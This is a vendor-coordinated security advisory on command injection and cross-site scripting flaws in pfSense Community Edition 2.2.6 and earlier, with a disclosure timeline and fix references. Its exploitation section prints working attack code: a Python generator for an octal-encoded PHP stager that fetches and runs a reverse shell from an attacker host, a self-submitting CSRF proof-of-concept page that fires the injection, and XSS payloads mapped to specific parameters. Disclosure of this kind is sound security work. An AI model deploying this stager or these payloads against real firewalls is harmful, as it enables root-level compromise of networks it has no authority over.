145 lines
No EOL
4.4 KiB
Text
145 lines
No EOL
4.4 KiB
Text
( , ) (,
|
||
. '.' ) ('. ',
|
||
). , ('. ( ) (
|
||
(_,) .'), ) _ _,
|
||
/ _____/ / _ \ ____ ____ _____
|
||
\____ \==/ /_\ \ _/ ___\/ _ \ / \
|
||
/ \/ | \\ \__( <_> ) Y Y \
|
||
/______ /\___|__ / \___ >____/|__|_| /
|
||
\/ \/.-. \/ \/:wq
|
||
(x.0)
|
||
'=.|w|.='
|
||
_=''"''=.
|
||
|
||
presents..
|
||
|
||
PfSense Community Edition Multiple Vulnerabilities
|
||
Affected versions: PfSense Community Edition <= 2.2.6
|
||
|
||
PDF:
|
||
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf
|
||
|
||
+-----------+
|
||
|Description|
|
||
+-----------+
|
||
The pfSense community edition firewall is vulnerable to multiple
|
||
vulnerabilities, including remote code execution via command injection
|
||
as an authenticated non-administrative user, stored and reflected
|
||
cross-site scripting.
|
||
|
||
+------------+
|
||
|Exploitation|
|
||
+------------+
|
||
==Command Injection==
|
||
The status_rrd_graph_img.php page is vulnerable to command injection via
|
||
the graph GET parameter. A non-administrative authenticated attacker
|
||
having access privileges to the graph status functionality can inject
|
||
arbitrary operating system commands and execute them in the context of
|
||
the root user. Although input validation is performed on the graph
|
||
parameter through a regular expression filter, the pipe character is not
|
||
removed. Octal characters sequences can be used to encode a payload,
|
||
bypass the filter for illegal characters, and create a PHP file to
|
||
download and execute a malicious file (i.e. reverse shell) from a remote
|
||
attacker controlled host.
|
||
|
||
[Octal-encoded PHP Stager]
|
||
stager = (
|
||
'echo \'<?php $shell =
|
||
file_get_contents("http://[ATTACKER_IP]/shell.elf");' +
|
||
'file_put_contents("myshell.elf", $shell);' +
|
||
'system("chmod 755 myshell.elf && ./myshell.elf"); ?> \' > shellexec'
|
||
)
|
||
encoded_stager = ''
|
||
for c in stager:
|
||
encoded_stager += "\\\\%03d" %(int(oct(ord(c))))
|
||
print encoded_stager
|
||
|
||
[CSRF POC]
|
||
<html>
|
||
<head>
|
||
<script>
|
||
function sploit() {
|
||
var query = "database=-throughput.rrd&graph=file|printf
|
||
[ENCODED_STAGER]|sh|echo ";
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("GET", "https://<target>/status_rrd_graph_img.php?" +
|
||
query, true);
|
||
xhr.withCredentials = true;
|
||
xhr.send();
|
||
|
||
setTimeout(shellexec, 2000);
|
||
}
|
||
|
||
function shellexec() {
|
||
document.csrf_exploit_exec.submit();
|
||
}
|
||
</script>
|
||
</head>
|
||
<body onload="sploit();">
|
||
<form name="csrf_exploit_exec"
|
||
action="https://<target>/status_rrd_graph_img.php">
|
||
<input type="hidden" name="database" value="-throughput.rrd" />
|
||
<input type="hidden" name="graph" value="file|php shellexec|echo " />
|
||
</form>
|
||
</body>
|
||
</html>
|
||
|
||
==Cross-site Scripting==
|
||
Multiple instances of stored and reflected cross-scripting
|
||
vulnerabilities exist in the web interface of the application. An
|
||
authenticated attacker with limited privileges can run arbitrary
|
||
JavaScript code in the context of admin users’ session and extend their
|
||
access to administrative areas of the application (i.e. command prompt
|
||
functionality).
|
||
|
||
Param => descr
|
||
Method => POST
|
||
URL => /system_gateways_edit.php
|
||
Payload => <script>alert(1)</script>
|
||
Render => /system_gateways_groups_edit.php
|
||
Type => Stored
|
||
|
||
Param => container
|
||
Method => POST
|
||
URL => /firewall_shaper_layer7.php
|
||
Payload => "><script>alert(1)</script>
|
||
Render => /firewall_shaper_layer7.php
|
||
Type => Reflected
|
||
|
||
Param => newname
|
||
Method => POST
|
||
URL => /firewall_shaper_vinterface.php
|
||
Payload => "><script>alert(1)</script>
|
||
Render => /firewall_shaper_vinterface.php
|
||
Type => Reflected
|
||
|
||
|
||
+----------+
|
||
| Solution |
|
||
+----------+
|
||
Upgrade to pfSense 2.3. This may be performed in the web interface or
|
||
from the console.
|
||
|
||
+------------+
|
||
| Timeline |
|
||
+------------+
|
||
10/02/2016 – Initial disclosure to pfSense.
|
||
11/02/2016 – Vendor confirms receipt of advisory and provides fixes.
|
||
16/02/1016 – Sent follow up email about public release.
|
||
16/02/2016 – Vendor requests advisory disclosure after release of new
|
||
software build.
|
||
12/04/2016 – Release of patched software build and vendor disclosure of
|
||
security advisories.
|
||
15/04/2016 – Public disclosure of security advisory.
|
||
|
||
+------------+
|
||
| Additional |
|
||
+------------+
|
||
Further information is available in the accompanying PDF.
|
||
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf
|
||
|
||
+------------+
|
||
| References |
|
||
+------------+
|
||
https://www.pfsense.org/security/advisories/pfSense-SA-16_01.webgui.asc
|
||
https://www.pfsense.org/security/advisories/pfSense-SA-16_02.webgui.asc |